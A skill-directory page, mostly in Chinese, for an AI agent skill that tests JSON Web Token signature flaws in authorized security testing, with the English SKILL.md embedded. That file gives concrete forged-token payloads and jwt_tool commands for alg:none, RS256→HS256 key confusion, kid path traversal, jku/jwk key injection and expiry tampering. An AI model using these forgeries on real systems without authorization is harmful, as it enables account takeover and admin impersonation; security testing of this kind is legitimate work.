hunt-jwt-crypto
它能做什么
这项技能测试 JSON Web Token 的签名缺陷,这些缺陷可能让人更改身份或角色。它适用于使用 JWT 令牌进行登录的应用的经授权测试。
适用场景
- ✓当应用在标头、Cookie 或响应中发送以 eyJ 开头的登录令牌时。
- ✓当令牌标头显示 RS256,你想检查服务器是否接受其他算法时。
- ✓当你想检查无签名的令牌是否被接受时。
技能链接
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-jwt-crypto/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的应用使用 JWT 登录令牌。请帮我在经授权的测试中检查,角色被修改后的令牌是否会被接受。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会解码令牌,然后尝试修改声明并削弱签名方法的版本。它会检查服务器是否接受,并且只报告已确认的伪造。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)
What actually pays
A JWT is header.payload.signature, each base64url. The signature is the only
thing stopping you from editing the payload (your identity/role) and replaying
it. It pays High/Critical when the verifier can be tricked into accepting a
token you forged — so you become another user or an admin without their secret.
Two classic, generic verifier flaws:
alg:none— the verifier trusts the token's ownalgheader. Setalg:"none", drop the signature, edit the payload (e.g.role:"admin", another user'sid/email). A broken verifier skips signature checking.- RS256 → HS256 key confusion — the token is signed RS256 (asymmetric). The RSA public key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC secret — which you also know. Sign an edited payload with HS256 using the public key and it validates.
Recon — is this app JWT-based?
Login/token responses containing "token":"eyJ..." or Set-Cookie: token=eyJ...
Authorization: Bearer eyJ... on authenticated requests
A JWKS / public-key endpoint: /.well-known/jwks.json, /jwks, public-key in the JS bundle
Decode the header (base64url the first segment). "alg":"RS256" → try key
confusion. Any alg → always try alg:none first; it's free.
Forging the token (never hand-encode base64 — use a JWT tool)
Use a purpose-built tool so encoding/signing is correct: jwt_tool
(jwt_tool <token> -T to tamper interactively, -X a for alg:none, -X k -pk public.pem for key confusion), Burp's JWT Editor extension, or a few lines
of PyJWT. Each forge below is the concept plus the claim to edit.
alg:none — become admin / another user
header: {"alg":"none","typ":"JWT"}
payload: {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot: header.payload. )
Some verifiers reject lowercase none but accept None/NONE/nOnE — try case variants.
RS256 → HS256 key confusion — once you have the RSA public key
1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
/.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
jwt_tool <token> -X k -pk public.pem
payload edit: {"sub":"administrator"} (or role:"admin" / another user's id)
kid header injection — verifier loads the HMAC key from a FILE named by kid
header: {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret: "" (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}
Traverse out of the keys directory first. kid can also carry SQLi / command
injection / SSRF if the key lookup hits a DB / shell / URL — same idea: kid is
attacker-controlled and reaches a dangerous sink.
jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token
1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
path on the target's OWN domain so the fetch resolves to your JWKS.
jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token
header: {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)
Some verifiers incorrectly trust a jwk (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.
Expiry / time-based claim manipulation
Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}
Combined with any forging technique above (alg:none, key confusion, jwk i
常见问题
什么是 none 算法问题?
指薄弱的服务器接受一个声称不需要签名的令牌。
什么是密钥混淆?
指期望使用公钥验证签名的服务器,可能被诱导将其当作共享密钥进行校验。
这个技能涵盖所有 JWT 问题吗?
不涵盖。技能只涵盖签名和密钥伪造,其他 JWT 处理问题由单独的 API 技能负责。
详情
作者的原始描述
Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants acces
热度
- GitHub 星标
- 5.4k
- 排名
- #14915
- 许可证
- MIT
- 更新时间
- 2026/11/2
评论
- …
同一仓库的更多技能
apk-redteam-pipeline
5.4k帮你的智能体测试 Android 应用的安全弱点,从找到 APK 文件、反编译,到检查是否暴露了敏感信息。
bugcrowd-reporting
5.4k帮你的智能体撰写更好的 Bugcrowd 漏洞报告,选择正确的类别,并回应“超出范围”的异议。
cloud-iam-deep
5.4k帮你的智能体在经授权的安全测试中,检查找到的云凭据在 AWS、Azure 或 Google Cloud 上能访问哪些内容。
enterprise-vpn-attack
5.4k帮你的智能体在经授权的测试中,检查 Cisco、Fortinet、Citrix 等厂商 VPN 和远程访问设备是否存在已知弱点。